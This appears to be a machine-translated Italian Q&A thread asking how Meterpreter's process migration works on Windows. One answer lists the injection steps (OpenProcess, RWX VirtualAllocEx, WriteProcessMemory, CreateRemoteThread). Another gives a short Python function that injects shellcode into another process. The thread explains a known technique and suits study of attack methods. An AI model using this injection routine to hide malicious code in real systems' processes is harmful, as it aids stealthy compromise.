Come funziona la migrazione dei processi in Meterpreter [closed]

13

Qualcuno ha provato a capire come funziona la migrazione dei processi in Meterpreter in Windows? Voglio fare il mio script per imparare questo, ma non riesco a trovare un punto di partenza per questo. Bene, ho un'idea di usare NtQuerySystemInformation library e la sua funzione SystemHandleInformation , dato che può restituire l'handle di un thread nel sistema operativo e usare quelli che posso cambiare suo padre, ma dubito che funzionerà (a causa di TEB). E ho la sensazione che ci dovrebbe essere un modo più semplice di NtQuerySystemInformation . Qualcuno potrebbe suggerire una DLL o un algoritmo da usare?

    
posta Artur Korobeynyk 01.06.2015 - 10:45
fonte

2 risposte

14

Ecco come funziona la migrazione in meterpreter:

  1. Ottieni il PID in cui l'utente desidera eseguire la migrazione. Questo è l'obiettivo processi.
  2. Controllare l'architettura del processo di destinazione, a 32 bit oa 64 bit. È importante per l'allineamento della memoria.
  3. Controlla se il processo meterpreter ha il privilegio SeDebug. Questo è usato per ottenere un handle per il processo di destinazione. Ulteriori dettagli a      link
  4. Ottieni il carico utile effettivo da     il gestore che verrà iniettato nel processo di destinazione.     Calcola anche la sua lunghezza.
  5. Chiama l'API OpenProcess () per ottenere     accesso alla memoria virtuale del processo di destinazione.
  6. Chiama il     API VirtualAllocEx () per allocare un RWX (lettura, scrittura, esecuzione)     memoria nel processo di destinazione
  7. Chiama l'API WriteProcessMemory () su     scrivere il carico utile nello spazio di memoria virtuale della memoria di destinazione.
  8. Chiamata     l'API CreateRemoteThread () per eseguire la memoria appena creata     stub con il carico utile iniettato in una nuova discussione.
  9. Arresta il     thread precedente con il meterpreter iniziale in esecuzione nel vecchio     processo.
risposta data 01.07.2015 - 20:46
fonte
1

Da qualche parte nei luoghi più profondi di github ho trovato questo codice che fa tutto il cose necessarie, quindi chi cerca queste informazioni può trovare una risposta nelle seguenti funzioni API:

def injectshellcode(self, shellcode):
    """This function merely executes what it is given"""
    shellcodeaddress = self.kernel32.VirtualAllocEx(
                                                    self.handle,
                                                    None,
                                                    len(shellcode),
                                                    0x1000,
                                                    0x40
                                                    )
    self.kernel32.WriteProcessMemory(
                                    self.handle,
                                    shellcodeaddress,
                                    shellcode,
                                    len(shellcode),
                                    None
                                    )
    thread = self.kernel32.CreateRemoteThread(
                                    self.handle,
                                    None,
                                    0,
                                    shellcodeaddress,
                                    None,
                                    0,
                                    None
                                    )
    
risposta data 01.06.2015 - 16:25
fonte

Leggi altre domande sui tag